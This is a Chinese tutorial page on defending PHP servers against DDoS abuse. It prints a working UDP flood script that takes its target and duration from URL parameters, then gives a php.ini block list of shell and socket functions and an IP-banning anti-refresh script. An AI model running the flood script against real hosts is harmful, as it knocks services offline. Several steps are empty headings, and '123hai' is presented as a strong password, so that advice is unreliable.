好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

PHP DDos的几个防御方法详解 - php高级应用

PHP DDos的几个防御方法详解

PHP DDos是一种利用服务器就是利用我服务器的php.ini中配置allow_url_fopen = On才得成了,但allow_url_fopen 这个功能很多网站都需要使用,下面我来给大家介绍一些关于PHP DDos的几个防御方法.

我们先来看php ddos代码,代码如下:

<?php  $packets  = 0;   $ip  =  $_GET [ 'ip' ];   $rand  =  $_GET [ 'port' ];   set_time_limit(0);   ignore_user_abort(FALSE);  $exec_time  =  $_GET [ 'time' ];  $time  = time();   print "Flooded:  $ip  on port  $rand   ";   $max_time  =  $time + $exec_time ;    for ( $i =0; $i <65535; $i ++){   $out  .=  "X" ;   }   while (1){   $packets ++;   if (time() >  $max_time ){   break ;   }  $fp  =  fsockopen ( "udp://$ip" ,  $rand ,  $errno ,  $errstr , 5);   if ( $fp ){   fwrite( $fp ,  $out );   fclose( $fp );   }   }  //开源代码phpfensi.com   echo   "Packet complete at " .time( 'h:i:s' ). " with $packets ("  .  round (( $packets *65)/1024, 2) .  " mB) packets averaging " .  round ( $packets / $exec_time , 2) .  " packets/s n" ;   ?> 

细心的朋友会发现fsockopen是一个主要攻击函数了,不断连接发送请求导致机器流量与cpu过多从而网站不对正常访问了.

于是简单的研究了一下PHP DDos脚本构造,并有所收获,下面介绍几点可以最大程度避免的方法.

注意:以下操作具有危险性,对于造成的任何后果,与傲游无关,请谨慎操作.

1.打开php.ini,2.禁用危险函数

由于程序不同,函数要求也不同,所以请客户自行增删需要禁用的函数,找到disable_functions,将前面的[;]去掉,在等号后面增加如下代码:

phpinfo,passthru,exec,system,popen,chroot,escapeshellcmd,escapeshellarg,shell_exec,proc_open,proc_get_status,fsocket,fsockopen

3.设置PHP执行超时时间

4.禁用上传目录PHP执行权限

大概分为三种服务器:IIS,Apache、Nginx,具体步骤就不写了.

5.一个很暴力的方法

6.关闭用户中心

比如dede等cms都会有用户中心,里面有很多上传的地方,这就是大概的问题所在.

7.修改管理员目录

这个方法就不细谈了,并不是对所有程序都适合.

8.修改默认管理帐号

很多人都习惯使用:admin 但是如果程序出现漏洞,很容易被猜测出admin的密码,所以建议修改admin为其他登录名.

9.一个复杂且记得住的密码

不管是Windows/Linux的系统用户还是网站管理员的账户,都需要设置一个难以猜解的密码,如:123hai.

后再再附一个php防ddos攻击的代码,代码如下:

<?php    //查询禁止IP     $ip  = $_SERVER [ 'REMOTE_ADDR' ];    $fileht = ".htaccess2" ;    if (! file_exists ( $fileht )) file_put_contents ( $fileht , "" );    $filehtarr =@file( $fileht );    if (in_array( $ip . "rn" , $filehtarr )) die ( "Warning:" . "<br>" . "Your IP address are forbided by some reason, IF you have any question Pls emill to shop@mydalle.com!" );     //加入禁止IP     $time =time();    $fileforbid = "log/forbidchk.dat" ;    if ( file_exists ( $fileforbid ))    {  if ( $time - filemtime ( $fileforbid )>60)unlink( $fileforbid );    else {    $fileforbidarr =@file( $fileforbid );    if ( $ip == substr ( $fileforbidarr [0],0, strlen ( $ip )))    {    if ( $time - substr ( $fileforbidarr [1],0, strlen ( $time ))>600)unlink( $fileforbid );   elseif ( $fileforbidarr [2]>600){ file_put_contents ( $fileht , $ip . "rn" ,FILE_APPEND);unlink( $fileforbid );}    else { $fileforbidarr [2]++; file_put_contents ( $fileforbid , $fileforbidarr );}    }    }    }    //防刷新     $str = "" ;    $file = "log/ipdate.dat" ;    if (! file_exists ( "log" )&&! is_dir ( "log" )) mkdir ( "log" ,0777);    if (! file_exists ( $file )) file_put_contents ( $file , "" );    $allowTime  = 120; //防刷新时间     $allowNum =10; //防刷新次数     $uri = $_SERVER [ 'REQUEST_URI' ];    $checkip =md5( $ip );    $checkuri =md5( $uri );    $yesno =true;    $ipdate =@file( $file );    foreach ( $ipdate   as   $k => $v )    {  $iptem = substr ( $v ,0,32);    $uritem = substr ( $v ,32,32);    $timetem = substr ( $v ,64,10);    $numtem = substr ( $v ,74);    if ( $time - $timetem < $allowTime ){    if ( $iptem != $checkip ) $str .= $v ;    else {    $yesno =false;    if ( $uritem != $checkuri ) $str .= $iptem . $checkuri . $time . "1rn" ;    elseif ( $numtem < $allowNum ) $str .= $iptem . $uritem . $timetem .( $numtem +1). "rn" ;    else     {    if (! file_exists ( $fileforbid )){ $addforbidarr = array ( $ip . "rn" ,time(). "rn" ,1); file_put_contents ( $fileforbid , $addforbidarr );}    file_put_contents ( "log/forbided_ip.log" , $ip . "--" . date ( "Y-m-d H:i:s" ,time()). "--" . $uri . "rn" ,FILE_APPEND);    $timepass = $timetem + $allowTime - $time ;    die ( "Warning:" . "<br>" . "Sorry,you are forbided by refreshing frequently too much, Pls wait for " . $timepass . " seconds to continue!" );    }    }    }   //开源代码phpfensi.com   }    if ( $yesno )  $str .= $checkip . $checkuri . $time . "1rn" ;    file_put_contents ( $file , $str );    ?> 

查看更多关于PHP DDos的几个防御方法详解 - php高级应用的详细内容...

  阅读:40次